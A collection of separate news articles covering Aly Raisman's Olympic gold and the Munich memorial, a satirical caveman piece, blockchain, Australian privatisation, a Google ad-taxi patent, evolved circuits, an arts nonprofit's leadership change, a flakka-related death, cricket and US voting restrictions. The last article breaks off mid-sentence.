-It wasn’t a gloved-fist salute from the medal stand, but Jewish-American gymnast Aly Raisman made quite a statement yesterday by winning a gold medal and invoking the memory of the Israeli athletes killed 40 years ago in Munich.  Raisman finished first in the women’s floor exercise, but she deserves to have another medal draped around her neck for having the chutzpah to face the world and do what needed to be done and say what needed to be said.  At the same Olympic Games where bigoted organizers stubbornly refuse to honor the slain athletes with a moment of silence, 18-year-old Raisman loudly shocked observers first by winning, then by paying her own tribute to 11 sportsmen who died long before she was born.  And if that weren’t enough, she won her event with the Hebrew folk song “Hava Nagila” playing in the background.  “Having that floor music wasn’t intentional,” an emotional but poised Raisman told reporters after her performance.  “But the fact it was on the 40th anniversary is special, and winning the gold today means a lot to me.”  Then Raisman stuck the landing.  “If there had been a moment’s silence,” the 18-year-old woman told the world, “I would have supported it and respected it.”  It was 40 years ago at the 1972 Munich Games that members of the Israeli Olympic delegation were taken hostage and eventually killed by Palestinian radicals.  Executed in the massacre were 11 Israeli athletes and officials and a West German police officer.  The martyrs were remembered this week during a London ceremony filled with sadness and reflection.  But not a peep about them has been said publicly in the one place where it counts — at the Summer Games on Olympic soil.  The International Olympic Committee and its president, Jacques Rogge, have refused to properly honor the dead, arguing that the opening ceremony wasn’t an appropriate forum for a moment of silence.  But if the opening ceremony is good enough for James Bond and Mr. Bean, it’s hard to understand why it’s not good enough for 60 seconds of solitude.  “Shame on you International Olympic Committee because you have forsaken the 11 members of your Olympic family,” said Ankie Spitzer, whose husband, Andre, an Israeli fencing coach, was gunned down in the massacre.  “You are discriminating against them only because they are Israelis and Jews,” she went on.  Rogge was an athlete himself at the very Games where the massacre took place, representing Belgium on the sailing team.  “Even after 40 years, it is painful to relive the most painful moments of the Olympic movement,” Rogge said at an unaffiliated service before Spitzer spoke.  “I can only imagine how painful it must be for the families and close personal friends of the victims.”  But by refusing to hit the pause button for a measly 60 seconds, Rogge and other organizers have committed a sin nearly as grave as denying there was ever a Holocaust.  Were it not for young Aly and her wedding dance/bat mitzvah accompaniment, the Munich dead may have never gotten their due.  “I am Jewish, that’s why I wanted that floor music,’’ Raisman said.  “I wanted something the crowd could clap to, especially being here in London.  “It makes it even much more if the audience is going through everything with you. That was really cool and fun to hear the audience clapping.’’  Raisman’s eyes opened as wide as the gold medal she would win when the judges announced her score of 15.600 points after her mistake-free routine.  Her top finish was the first by an American woman in the Olympic floor exercise, and the win gave Raisman her second gold medal. Raisman admitted the 40th anniversary of the Munich Games made her “hora” gold even more special.  “That was the best floor performance I’ve ever done, and to do it for the Olympics is like a dream,’’ Raisman said.  Raisman did not go to the Games with the star power of her teammate Gabrielle Douglas or the résumé of world champion Jordyn Wieber,  But those who know her best said she works as hard as anyone, and, more importantly, her heart is in the right place.  ‘’I’m so happy for Aly,” Douglas, the first African-American to win the all-around title, said after the floor competition. “She deserves to be up on that podium.’’  “She is a focused person,” said Rabbi Keith Stern, spiritual leader of Temple Beth Avodah in Newton Centre, Mass., where the Raisman family are members.  “She’s very proud and upfront about being Jewish. Neither she nor her family explicitly sought to send a message. But it shows how very integrated her Jewish heritage is in everything that she does.”  Stern said he remembers picking up young Aly from preschool, and never imagined she’d be some sort of megastar.  He described the US team captain as a big sister-type who is a mother hen to all her younger siblings.  “I can’t wait to have her at the temple to talk about her experience,” he said.  “I know her sister’s bat mitzvah is coming up, so maybe I’ll catch up with her then.”  Stern said that he, too, was stunned by the IOC’s refusal to hold a moment of silence.  “I’m happy to hear any other explanation,” Stern said. “But short of some racist grudge somebody is holding, I can’t figure out why it would be a terrible thing to do.”  Stern said he watched the routine and was blown away. Even so, he said he is more proud of Raisman’s gold mettle than he is of the new jewelry around her neck.  “I have to say, the statement just warmed me to the very depths of my being,” Stern said.  He compared it to the iconic black-power, raised-fist protest made by track stars John Carlos and Tommie Smith on the medal stand at the 1968 Mexico City Games.  “They’re not going to forget that,” the rabbi said. “I certainly won’t.”
-Recently Thawed out Caveman Misses the Way Scene Used to Be  LOS ANGELES — New York native and recently unfrozen caveman, from the Homo Elitus subspecies known simply as Ugg, admitted to missing the way the scene used to be back in the stone ages, multiple uninterested sources confirmed.  “Man, it used to be about the music. None of this ‘guitar’ or ‘bass,’ just animal-hide drums played with bones,” said Ugg before ravaging the produce section of a Whole Foods. “That’s when it used to mean something. I heard Hoax played in a cave in San Francisco? Big fucking deal! Those were the only venues available to us back then,”  Since being thawed out of a glacier by scientists at UCLA, Ugg has been seen at various shows in the Los Angeles area, cowering in the back, inspecting and sniffing other hardcore kids. Ugg is the only remnant of an ancient hardcore scene forgotten to time.  “The concept of the circle hadn’t been invented yet, so when the fast parts came, we just sorta ran around aimlessly. It was a simpler time man,” Ugg said between shrieks of fear at every passing car. “Did we have a few militant Neanderthals ruin some shows? Sure. That was just part of it. But me and my Homo Habilis brothers stomped those guys out fast.”  Despite Ugg being a miracle of science, some people in the scene are simply not impressed.  “He’s always going on about how revolutionary being able to ‘stand’ at shows is and how he practically invented walking upright,” said 36-year-old Jimmy Blood. “Look, we all understand the scene used to be awesome, but everyone knows the best time for hardcore was when Ten Yard Fight was around, not in prehistoric times like Ugg is talking about. I do agree that the kids today just don’t get it, though.”  Ugg’s erratic behavior and crotchety attitude has earned him a negative reputation amongst members of the scene. Locals reported several incidences where Ugg slapped cell phones out of hands, brandished long spears, and bared his teeth in an intimidating manner.  “I mean, they were all looking at tiny people in these shiny little black boxes. They weren’t even watching the bands! Back in my day we would have clubbed them to death, but I guess that doesn’t fly anymore,” added Ugg. “The scene’s gone soft, man.”  Photo by Tom McHugh and Dom Rodriguez.
-DAO.LINK Bridges Gap Between Business & Blockchain  Despite best efforts from various startups, there is still a gap between blockchain and companies staying true to their physical presence. DAO.LINK, a new initiative by the Slock.it team, aims to bridge this gap in the coming years.  Also read: ECB Reveals Plans for Blockchain E-Governance  DAO.LINK Can Be a Powerful Ally  Most companies who have only recently ventured into the world of e-commerce are hesitant to approach blockchain technology. Not necessarily because they don’t see the value of this concept, but more due to how there is no convenient way to get involved with this innovative solution.  This is where DAO.LINK wants to come into the picture, as the initiative is focused on making brick-and-mortar enterprise interactions with blockchain-oriented organizations a lot easier. This will be of particular interest to creators of DAOs – Decentralized Autonomous Organizations – in the future as their business model is based around and built on top of the blockchain in its entirety.  The interaction between such a DAO and the “real world” will take place through entities known as Contractors. Every single Contractor is to be hired based on various terms, including payment structure, milestones to be reached, and much more. The Slock.it team posted a very comprehensive blog post about this concept recently.  Establishing a properly decentralized DAO is – for now at least – only possible on the Ethereum blockchain, due to the support for complex smart contracts. But while Ethereum has much appeal among investors and cryptocurrency enthusiasts, the same cannot be said for established real world businesses. In fact, most of them struggle to grasp the concept of blockchain altogether, let alone make the effort to get involved with DAOs.  DAO.LINK is designed to make this process a lot easier for established brick-and-mortar businesses. Although many people see the DAO concept as the future of any business in the foreseeable future, there will be a lengthy transitional period before they can become a reality. This “on-boarding process” will be provided by DAO.LINK, while respecting the existing regulatory frameworks and operating within the confines of existing legislature.  What makes this solution even more attractive is how DAO.LINK will remain true to the decentralized nature of blockchain technology. People should envision this project as a tool to set up a legal framework for companies to work with DAOs while contracting with these blockchain-based organizations to provide the necessary legal documentation.  Partnership with BITY  Such a vast project could not be undertaken by Slock.it themselves, as they collaborated with Ethereum and Bitcoin exchange platform BITY. This exchange is quite forward-thinking as well, despite being operated by a fully-licensed company in Switzerland and being audited by KPMG.  BITY co-founder Gain Bochsler told the press:  We live in a world organized around laws and regulations. This cannot be ignored, but in time, a day will come when technology and regulation find an equilibrium. Each big innovation creates a gap which needs to be filled. The DAO.LINK model helps bridge the gaps.  The DAO.LINK initiative holds a lot of promise for the future, although there are still a few questions waiting to be answered. More information on this project will be revealed in the coming weeks. But until that happens, there is a lot to think about for businesses who have been waiting for a chance to get involved with blockchain-based companies in the near future.  What are your thoughts on the DAO.LINK initiative? Will this bridge the gap between brick-and-mortar stores and DAOs? Let us know in the comments below!  Source: Medium  Images courtesy of BITY, Shutterstock
-Infrastructure Australia calls for privatisation of public assets  By James Cogan  12 November 2012  A report issued last month by Infrastructure Australia, a statutory body established in 2008 to give policy advice to the federal government, demanded the sell-off of a vast swathe of publicly-owned infrastructure assets. These assets have an estimated value of between $195 and $219 billion, and could be sold on the stock market for between $116 and $140 billion. Their privatisation would provide a bonanza for the major banks and corporate investors, while triggering substantial job cuts and higher costs of living for working people.  Since the 1980s, under the pressures of financial deregulation and ever more closely integrated globalised production methods, Labor and Coalition governments at both the federal and state level have sold off numerous public assets. The list includes banks, telecommunication providers, airlines, airports, ports, railways and bus companies. The major freeways in most cities were constructed as partnerships with private corporations, and continue to operate as toll-roads.  Infrastructure Australia, however, identified four “asset classes” where there is still substantial public ownership: energy, water, transport and plantation forestry. These areas, the report stressed, had already been corporatised and restructured along “free market” and “user pays” lines, and therefore have the potential to generate attractive profits for private investors. With governments “facing increasing pressure on their budgets” and under pressure to “protect their financial position and credit rating and minimise borrowing costs”, the report stated that privatisations could improve their fiscal position.  The federal Labor government has signalled its agreement with the agenda outlined by Infrastructure Australia. In upcoming meetings with his state counterparts, Treasurer Wayne Swan is expected to push for wholesale privatisation by offering to transfer to the states all the corporate tax that will be collected from any publicly-owned companies sold off—partially compensating them for the loss of annual dividend payments.  The largest “asset class” being lined up for sale, valued at over $100 billion, is the energy sector. Privatising the remaining state-owned power plants, and transmission, distribution and retail networks around the country would generate over $60 billion. The Labor government is now actively lobbying state governments to sell their energy assets to corporate investors—a demand that is central to its Energy White Paper released last week.  Water assets are the other major target. They are valued at close to $100 billion, including dams, reservoirs, irrigation networks, water distribution and retailing and sewage treatment plants, and could fetch up to $60 billion. The privatisation of the remaining state-owned transport assets could produce around $15 billion, while selling plantation forests could generate around $1 billion.  The Infrastructure Australia report indicated that other assets could also be considered for sale in the future. The state-owned passenger rail services in the major cities are one prospect. Another possibility referred is the road system which could be sold or contracted out and a “congestion charging regime” imposed by their new owners. A study cited by Infrastructure Australia has estimated that “road pricing” could potentially generate revenues as high as $5 billion a year in the state of New South Wales alone.  The report declared that the sale of assets could result in “more efficient management.” This is code for the mass layoffs and attacks on working conditions that new corporate owners will seek to impose to make former state-owned companies more profitable.  Infrastructure Australia claimed that privatisation would “transfer responsibility for future investment in upgrades and expansions to the private sector.” However, the constant short-term pressure to produce a return to share-holders will see the continued neglect of long-term infrastructure planning and development. Any infrastructure investment that a corporate owner would be compelled to make would be paid for by increasing the cost of services. This is already happening under the present corporatised state operators. Publicly-owned electricity companies, for example, have massively increased power prices in recent years to pay for upgrades to their distribution systems, pushing millions of people into financial stress.  Infrastructure Australia noted the widespread opposition among ordinary people towards further privatisations. It stated that “governments may be concerned at the potential political issues in transferring assets to the private sector” but nevertheless insisted that “the evidence is that the public will accept well managed and effectively communicated transfers.”  The report advised that asset sell-offs be accompanied by promises to invest part of the revenues generated in social infrastructure such as hospitals, schools, and roads. In reality, as with previous privatisations, governments will primarily use the money to pay-down public debt, for the benefit of the banks and the financial markets. The Labor government has continued to open up health, education, and other essential social services to the market, by promoting private providers and slashing public spending and investment.  The real motive behind the privatisation agenda is to provide a boost to the banks, financial advisors and corporate law firms that would organise the fire-sale, and a shot in the arm to the stock markets where the assets would be sold off. Infrastructure Australia noted that “superannuation funds, pension funds from other countries, and sovereign wealth funds have all demonstrated a strong appetite for privatised Australian infrastructure assets.”  In the final analysis, the proposed fire-sale is a response to the failure of the capitalist system. Under conditions of an intractable global economic slump, a desperate scramble is taking place within the financial and corporate elite to secure new sources of profit. They are demanding that every aspect of life be subjected to the free market and the “user pays” principle, so that ever greater sums can be extracted from the working class.
-Google's digital ad dominance might soon have a very tangible benefit for shoppers — a free taxi ride.  "The tech giant just received a patent linking online ads to free taxi rides paid for by advertisers — an option to bring more people to their businesses." (Via KOVR)  The patent explains Google could use its knowledge of customer locations, route mapping and advertising prices to offer shoppers free or discounted lifts to retailer locations.  An algorithm would track where people are and what they're looking to buy. If it were cost-effective, a retailer could pay Google to offer a potential customer a ride to its store, using messages delivered on smartphones or stationary kiosks.  So no, CNET says, this isn't for the weekly grocery run.  "If someone's searching for cars to buy, then serving an ad that offers them a taxi to speed them to the point of purchase is a very cost-effective notion If they're searching, however, for dental floss, then it might not be worth the advertiser's time and money to offer them a ride in a Prius."  But Ars Technica points out a Google Taxi could eventually get more affordable, especially if Google moves forward with its driverless car project.  "An advertiser paying for a bus, train, or taxi might be a little too expensive today, but imagine a self-driving electric vehicle, where driving around doesn't burn gas or involve paying a taxi driver, and suddenly transportation becomes a lot cheaper."  That is, if the law catches up. Currently only California, Nevada, Michigan, Florida and Washington D.C. have legalized autonomous vehicles. (Via the Center for Internet and Society)  In any case, the project appears to remain in the patent stage for now. Don’t sell your car just yet.  - See more at Newsy
-[Henrik] has been working on a program to design electronic circuits using evolutionary algorithms. It’s still very much a work in progress, but he’s gotten to the point of generating a decent BJT inverter after 78 generations (9 minutes of compute time), as shown in the .gif above.  To evolve these circuits, [Henrik] told a SPICE simulation to generate an inverter with a 5V power supply, 2N3904 and 2N3906 transistors, and whatever resistors were needed. The first dozen or so generations didn’t actually do anything, but after 2000 generations the algorithm produced a circuit nearly identical to the description of a CMOS inverter you’d find in a circuit textbook.  Using evolution to guide electronic design is nothing new; an evolutionary algorithm and a a few bits of Verilog can turn an FPGA into a chip that can tell the difference between a 1kHz and 10kHz tone with extremely minimal hardware requirements. There’s also some very, very strange stuff that happened in this experiment; the evolutionary algorithm utilized things that are impossible for a human to program and relies on magnetic flux and quantum weirdness inside the FPGA.  [Henrik] says his algorithm didn’t test for how much current goes through the transistors, so implementing this circuit outside of a simulation will destroy the transistors and emit a puff of blue smoke. If you’d like design your own circuits using evolution, [Henrik] put all the code in a git for your perusal. It’s damn cool as it stands now, and once [Henrik] includes checking current and voltage in each component his project may actually be useful.
-April Baer/OPB  Disjecta Contemporary Arts Center is losing its founder at the end of this year. It’s not a happy split.  The organization’s board took the unusual step of asking founding director Bryan Suereth to leave. It’s referred to in a press release as a leadership transition.  The founding of Disjecta was almost accidental. Suereth and some friends found a vacant building on Russell Street. Sean Healy was one of the first artists to exhibit there.  “I remember one of the very first events [Bryan] and [curator and artist] Cris Moss put together,” Healy said. “Bryan and Cris and others were there tearing up carpeting to have a wood floor. There are things Bryan does behind the scenes no one knows about. The dude is tireless. He puts in insane hours.”  Running a small arts non-profit can include a thousand other duties as assigned: mowing the grass, cleaning the bathrooms, and of course curation, bringing in artists from around and outside the U.S., arranging the use of Disjecta’s spacious building in Kenton by a variety of art and performance events, and staging shows like the Portland Biennial. This year’s edition encompassed 25 venues from Astoria to La Grande to Ashland.  The biennial closed with several complaints from some artists of standing. While some had a good experience, others felt abandoned by guest curator Michelle Grabner and/or Disjecta, without support and promotion they needed to pull off their installations.  But even before the Biennial, the board got into a broader conversation about the future.  Chair Chris D’Arcy says a long-term development training left some board members feeling less than convinced Suereth was the right person to implement Disjecta’s growing ambitions.  April Baer/OPB  “The board really became more aware of, let’s say, the need for our organization to have more structure than it has right now,” Darcy said.  She wouldn’t get into specifics, for personnel reasons, but said if Disjecta’s staff size is going to increase beyond three, it would need a different kind of manager.  Suereth says his path, building Disjecta and steering it through three different facilities, has been a long road, traveled with little money.  “I’m proud to have been around at a time when I provided support for the artists and thinkers and do-ers who created the essence of Portland,” Suereth says.  “To this day, I believe Disjecta acts as a bulwark against the overwhelming crush of “new” Portland…in the sense that we maintain a connection to the original ethic that built our often imitated culture; bold ideas, risk-taking, anti-institutional swagger and, yes, weirdness.”  As for the board’s stated wish for more structure, Suereth says he freely acknowledged different leadership might be needed to grow Disjecta and make it sustainable.  But his version of the story shows a non-profit hampered by anemic board fundraising. He says he’d hoped to be around long enough to keep operations going, while the board found his replacement.  The organization is up to date on its lease. With year-end giving, Disjecta expects to end the year modestly in the black.  Which has led artists like Sean Healy to wonder, what was the rush to hustle Suereth out the door?  “We’re all a little bit put on our heels by this,” Healy said. “We’ve grown up in this city together. To see this happen it kind of makes us realize the city is changing.”  The situation puts board chair Chris D’Arcy in a strange position.  She spent twenty years at the helm of the Oregon Arts Commission, steering grants and policy, only to be shown the door in 2014, over to a mix of personality conflicts and clashing priorities — not unlike what led to the transition at Disjecta.  D’Arcy says believes Disjecta’s non-profit model is sustainable for now. It will, she says, keep on producing contemporary art events, and getting revenue from other groups’ use of its building.  “We are different than the [Portland] Art Museum and PICA and TBA,” D’Arcy said. “We do not charge admission. That may or may not be the right solution long-term.”  But D’Arcy says structurally, the organization has an effective model.  But Suereth says anytime a drastic change is made, there’s an understanding that results will need to follow.  “I certainly think the board is putting themselves in a very difficult position,” Suereth said. “Any transition must be collaborative, strategic and healthy to succeed. Funders are wary of uncertainty. I think most philanthropists gravitate toward more traditional arts: dance, theater, music.”  The board, he said, “have an onus now solely on their shoulders. It is not easy to run and produce contemporary art in the state of Oregon.”  Chris D’Arcy says she expects an interim executive director will be found to run Disjecta after Suereth’s departure, while the board searches for a permanent replacement.  (It’s not entirely clear what bait will be effective in that search. According to recent tax forms, Sureth has been working for tens of thousands of dollars below the city average for non-profit managers.)  For the rest of 2016, Disjecta will host events like a theater work re-interpreting the films of Rainer Fassbinder, a performance art piece about rape culture, and a new discussion series about art and identity,  Right now, the gallery holds the second of four shows by a Puerto Rican curator in residence, Michelle Fiedler.  Suereth says he’d like to help out with the third and fourth shows.
-We are hearing descriptive new 911 calls after a man who was thought to be high on the designer street drug flakka helds up a South Florida gas station. (Published Friday, May 22, 2015)  We are hearing the descriptive new 911 calls after a man, who was thought to be high on the designer street drug flakka, held up a South Florida gas station.  That man, Markus Clark, 26, later died in custody.  What happened at the Exxon gas station near Fort Lauderdale Wednesday night is now the center of an investigation at the Boward Sheriff's Office.  Deputies say it all started when Clark tried to rob the business, his bizarre behavior was caught by surveillance cameras.  Flakka Ridealong Suspect Dies  911 call released after man suspected of being on flakka attempts to rob a gas station and dies a day after his arrest (Published Friday, May 22, 2015)  Clark is seen behind the counter in contact with the clerk, who then called 911.  Dispatcher: "OK sir, sir listen. How did he try to rob you sir?"  Caller: "Yeah, he got inside the register area, he locked my door. Now he’s doing something. He’s pretending like he’s sick but I think he’s well."  Deputies said Clark was showing signs connected to the new street drug flakka. Investigators say it's dirt cheap, selling for just $5 a pop and the high causes people to exhibit excessive strength.  Surveillance video showed deputies as they responded to the 911 call from the gas station. Three deputies were seen trying to hold Clark down.  Officials say it took several deputies to subdue and handcuff Clark. Once they got him in custody, he was rushed to the hospital.  "And when they got to the hospital and took his temperature it was 106.3, so I mean literally someone on fire melting inside," said BSO spokesperson Veda Coleman-Wright.  Clark died the next morning. As detectives continue to investigate his death, the medical examiner's office will also conduct an autopsy. The results could take weeks before they are released.
-He is not part of Australia's squad for next month's Champions Trophy, but Peter Handscomb could hardly be doing any more to ensure he is the first man called upon if Australia need a replacement player. On Sunday at Headingley, Handscomb plundered 140 off 112 deliveries for Yorkshire, his maiden one-day century, and in doing so jumped to the top of the Royal London Cup run list.  In five innings during the tournament, Handscomb has made 46, 86, 47*, 88 and 140, the kind of form that will appeal to Australia's selectors should any of their batsman be ruled out of the Champions Trophy, to be held in England, due to injury. Handscomb played the first five ODIs of his career during the southern summer, but after 82 on debut did not reach double figures again.  "Any time you get dropped from a team there's going to be some disappointment, but I was able to see where the selectors were coming from," Handscomb told radio network RSN. "I only got my opportunity because Chris Lynn got injured during the summer and I was able to come in for him. He's now fit and ready to go for Champions Trophy, so it makes sense to bring him back in and I completely understand that selection.  "Just being in the country, I'm here and ready to go if anything does happen. But the Champions Trophy squad is unbelievably strong. Hopefully for the boys nothing does happen and they can have a great Champions Trophy."  Handscomb has enjoyed a remarkable start to his Test career: it took until his eighth innings before he was dismissed for less than 50, the longest such stretch from debut for any player in Test history. Although life became a little tougher on the tour of India, an unbeaten 72 in the second innings in Ranchi helped Australia grind out a draw and was described by captain Steven Smith as being "worth 150 in my eyes".  Next summer, he faces the challenge of helping Australia regain the Ashes in a home series against England, and he is confident that his winter placement with Yorkshire will help him when the Australian season comes around.  "It's very important. I've often found that when I have been able to play cricket matches over the Australian winter, I've been able to come back and hit the ground running during the Australian summer," Handscomb said. "It's good just to constantly play cricket and that time in the middle is so valuable and so much better than just hitting balls in the nets."  And although Handscomb's form for the time being is outstanding, he is well aware that the relentless nature of the county season can mean that any dip in productivity can be difficult to remedy.  "With the county season, it can be sort of one way or the other," he said. "If you can get yourself onto a bit of a roll, because there is so much cricket, you can find yourself feeling really good out in the middle and hopefully converting that into runs. But on the flip side, you don't get a lot of time to practice if you are out of form. If you're having a tough time out in the middle, you don't really get any time to work on it.  "The job is to make runs every time you go out to bat. Once you start thinking that batting becomes easy, then that complacency sets in, and cricket's a bit of a fickle game like that, it can really take you down if you do start getting a bit complacent."
-This article is from the Fall 2014 issue of the The American Prospect magazine.  For the first time in decades, voters in nearly half the country will find it harder to cast a ballot in the upcoming elections. Voters in 22 states will face tougher rules than in the last midterms. In 15 states, 2014 is slated to be the first major election with new voting restrictions in place.  These changes are the product of a concerted push to restrict voting by legislative majorities that swept into office in 2010. They represent a sharp reversal for a country whose historical trajectory has been to expand voting rights and make the process more convenient and accessible.  Although some of these new laws are harsher than others, and some are still being fought in the courts, they have already dramatically altered the landscape for 2014. The outcomes of some of the tightest races this year could turn on the application of controversial new voting rules. Strict voter ID laws have gotten most of the attention, but are only part of the story. Cutbacks to early voting and voter registration opportunities, and other idiosyncratic changes to voting rules, have the potential to do just as much damage.  Why is this happening? Where are the most damaging new laws? What impact could they have in this year’s elections? And how effective are the efforts by voters to push back?  (AP Photo/J Pat Carter) Betty James holds a sign outside the Faith Community Baptist Church in Miami, Sunday, October 28, 2012, as she tries to rally churchgoers to board a bus that would take them to vote early.  Voting Restrictions in Context  First, some perspective. The current assault on voting is highly unusual. Election rules have long been prone to politicization, but the last large-scale push to curb voting access was more than a century ago, after Reconstruction. The first stirrings of a new movement to restrict voting came after the 2000 Florida election fiasco, which taught the unfortunate lesson that even small manipulations of election procedures could affect outcomes in close races. Even so, only a handful of states imposed new restrictions over the decade that followed.  That changed dramatically after 2010, when state lawmakers across the country introduced hundreds of bills to restrict voting. Although many of the new laws passed in that first year were initially blocked or weakened by courts, the Department of Justice, and citizen initiatives, states continued to press new voting restrictions in 2013 and 2014.  What Explains This Sudden Shift?  Partisanship plays a key role. Of the 22 states with new restrictions, 18 passed them through entirely Republican-controlled bodies. A study by social scientists Keith Bentele and Erin O’Brien of the University of Massachusetts Boston found that restrictions were more likely to pass “as the proportion of Republicans in the legislature increased or when a Republican governor was elected.” After Republicans took over state houses and governorships in 2010, voting restrictions typically followed party lines.  Race has been a significant factor. In 2008, voter participation among African Americans and certain other groups surged. Then came backlash. The more a state saw increases in minority and low-income voter turnout, the more likely it was to push laws cutting back on voting rights, according to the University of Massachusetts study. The Brennan Center for Justice likewise found that of the 11 states with the highest African American turnout in 2008, seven passed laws making it harder to vote. Of the 12 states with the largest Hispanic population growth in the 2010 Census, nine have new restrictions in place. And of the 15 states that used to be monitored closely under the Voting Rights Act because of a history of racial discrimination in elections, nine passed new restrictions.  Some laws are especially egregious in targeting how minorities vote. The push to shut down Sunday early voting in states where African American churches organized successful “Souls to the Polls” drives is a glaring example. Laws restricting voter registration drives are another such tactic. African Americans and Latinos register through drives at twice the rate of white citizens, and in recent years, civic groups have used drives to help close the racial registration gap—as they have for veterans, young people, and other less registered populations. Instead of embracing these efforts, Florida and several other states passed laws that make it difficult—and, before a court stepped in, impossible—for groups to help voters register. The result was a significant drop in registrations.  Early Voting Cuts  The push to trim early voting provides another clear example of how new voting restrictions target minorities. For more than two decades, states have been increasing early voting opportunities. In fact, most states now offer early voting, and in the last two presidential elections, a full one-third of Americans voted early. The reason for this expansion? Early voting works well—voters like it, election officials like it, and it improves the election system. It is so non-controversial that the bipartisan Presidential Commission on Election Administration recently recommended that all states adopt it to prevent long lines at the polls.  Despite this consensus, after the 2008 election, support for early voting eroded among Republican legislators in the South and Midwest. What changed? For the first time, African Americans had begun voting early at high rates. In Southern states, early voting by African Americans nearly tripled between 2004 and 2008, overtaking early voting by whites by a significant margin. In North Carolina, for example, seven in ten African Americans voted early in 2008, as compared to half of white voters. And while Republicans have traditionally been more likely to vote early, in 2008 Democratic early votes exceeded Republican ones.  Just as early voting has become successful among minorities and lower-income voters, it has become a target. Since 2011, eight states that saw recent increases in minority early voting usage have sharply cut back on early voting hours and days—Florida, Georgia, Nebraska, North Carolina, Ohio, Tennessee, West Virginia, and Wisconsin. Generally, the days and hours most likely to be slashed were those most popular with minorities and hourly workers, like Sundays and evenings. According to a 2008 Ohio study, 56 percent of weekend voters in Cuyahoga County, the state’s most populous, were black.  Some politicians have been surprisingly candid about their motives. A Georgia state senator recently caused an uproar by criticizing local election officials for placing an early voting site in a black neighborhood, calling it a “blatantly partisan move,” and vowing to work in the next legislative session to “eliminate this election law loophole” that enabled officials to facilitate minority political participation. An Ohio official, explaining his 2012 vote to limit early voting hours, said: “I guess I really actually feel we shouldn’t contort the voting process to accommodate the urban [read: African American] voter-turnout machine.”  ©Jenny Warburg Moral Monday protesters in Raleigh, North Carolina, call for the repeal of their state's new voting restrictions.  Other Voting Restrictions  Voter ID. While voter ID laws are nothing new, before 2011 only two states required voters to show government-issued photo IDs at the polls. Since 2011, nine states passed strict new ID laws. (Those states are Alabama, Arkansas, Kansas, Mississippi, North Carolina, Tennessee, Texas, Virginia, and Wisconsin.) Some accept state-issued student IDs while others do not, and some make it easier than others to obtain the necessary IDs. Four more states have passed somewhat less restrictive ID requirements. Nationally, 11 percent of Americans do not have the current state-issued photo IDs required under the stricter laws.  Voter Registration Restrictions. Ten states passed laws making it harder for citizens to register. These include laws curbing voter registration drives (in Florida, Illinois, Texas, and Virginia); rules requiring voters to provide documentary proof of citizenship when registering (in Alabama, Kansas, Tennessee, and previously in Arizona); laws eliminating the highly popular same-day registration (in Nebraska and North Carolina); and a law making it harder for people who move to stay registered (in Wisconsin). Voter registration problems, which tend to pass under the radar, have long been the single greatest barrier to voting, causing millions of lost votes per year. Unless your state has same-day registration, if you are not registered, you cannot vote. One in four eligible Americans is not registered, and millions more have outdated registrations.  Curbs on Restoring Rights to People with Past Convictions. Florida, Iowa, and South Dakota all made it significantly harder for Americans with past criminal convictions to have their voting rights restored. In Florida and Iowa, those citizens are essentially permanently disenfranchised. Nationally, 5.85 million Americans who have done their time have lost the right to vote; 1.5 million are in Florida. Overall, 7.7 percent of African Americans have lost their right—compared to 1.8 percent of whites.  The number and complexity of new voting restrictions across the country are staggering. As Yale Law Professor Heather Gerken put it, “It’s a death-by-a-thousand-cuts strategy.”  Key States to Watch  In many of the closest races this year, new restrictions and ongoing court cases could become major factors.  Data: Brennan Center for Justice/Art: Mary Parsons  North Carolina has the dubious distinction of having the nation’s harshest and most sweeping new voting law. Enacted immediately after the Supreme Court gutted the Voting Rights Act last year, the law slashes seven early voting days, imposes a strict photo ID requirement, eliminates same-day registration, stops pre-registration for 16- and 17-year-olds, prohibits the counting of provisional votes cast outside of voters’ home precincts, and more. Other than the photo ID requirement, which will be implemented in 2016, all of these changes are currently in effect.  With a tight U.S. Senate race under way, these changes could have an impact on this year’s elections, though it is difficult to predict the magnitude. In 2008, more than 700,000 North Carolinians voted during the week the state cut from early voting—including nearly a quarter of all African Americans who voted that year. Even in the 2010 midterms, more than 200,000 voters cast ballots during that week. Many voters will likely find another way to participate, but some will not. When Florida cut a week of early voting before the 2012 election, it led to congestion and long lines both before and on Election Day. More than 200,000 Floridians did not vote that year because of long lines at the polls.  The elimination of same-day registration and out-of-precinct provisional balloting can also do damage. In 2012, nearly 100,000 citizens used same-day registration in North Carolina, almost one-third of whom were African Americans. Nationally, same-day registration is generally credited with boosting turnout by as much as 5 to 7 percent. Already this year, hundreds of citizens cast ballots that went uncounted in low-turnout primary elections because of the elimination of same-day registration and out-of-precinct voting.  It is uncertain which of these restrictions will still be in place for the elections. The Department of Justice and civil rights groups have challenged the law in federal court. A district court judge declined to block the changes in advance of the election, but during argument on appeal last week, one judge asked: “How come the state of North Carolina doesn’t want people to vote?” (Regardless of the outcome, the issue will not be fully settled this year; the case is scheduled for a full trial next summer.) Voters are pushing back in the streets as well; the new law has spawned large-scale protests across the state by the “Moral Mondays” movement. That movement has also mobilized a voter registration and education campaign to counteract what the NAACP’s Reverend William Barber calls “the most regressive voter-suppression law passed by any state in this country since Jim Crow.”  Texas. In the midst of a high-profile gubernatorial race, the Lone Star State now has a voter ID law that is the harshest in the nation, and called “absurdly strict” by the New York Times. Not only does Texas unnecessarily limit the kinds of IDs it accepts for voting, it also cherry-picks—famously accepting concealed-carry permits but not state-issued student IDs. Before implementing this law, Texas was initially required under the Voting Rights Act to get federal approval to make sure that the ID law was not discriminatory. Both the Department of Justice and a federal court blocked the law ahead of the 2012 elections, finding that it discriminated against minority voters. But while the case was awaiting appeal, the Supreme Court struck down the portion of the Voting Rights Act (Section 5) that required Texas to seek pre-implementation review. Within hours of that decision, Texas moved to implement the law—despite the court’s earlier finding that it was discriminatory. The law is now being challenged under a different part of the Voting Rights Act (Section 2) and the Constitution, but has already been applied in local and primary elections this year.  If allowed to stand, Texas’s voter ID law could have a substantial impact this November. Uncontroverted expert data presented at trial showed that 1.2 million eligible Texans do not have IDs that would be accepted under the new law. Among registered voters, more than 600,000 lack acceptable ID. The effect on black and Latino voters is disproportionate; Hispanic registered voters are 3.2 times more likely than white voters to lack ID, and black registered voters are 2.3 times more likely to lack ID, according to an expert study.  A weak state program to provide free IDs is unlikely to close this gap before Election Day. As of September, Texas had issued only 279 free IDs, and had done virtually no voter education. Even if the ID itself is free, for many people the cost of obtaining the underlying documents necessary to get it is prohibitive. Lifelong voter Sammie Bates testified that it took her a while to save up the $42 needed to order her birth certificate, which she needed to get free ID: “You’re going to put the money where you feel the need is most urgent. … We couldn't eat the birth certificate, and we couldn't pay rent with 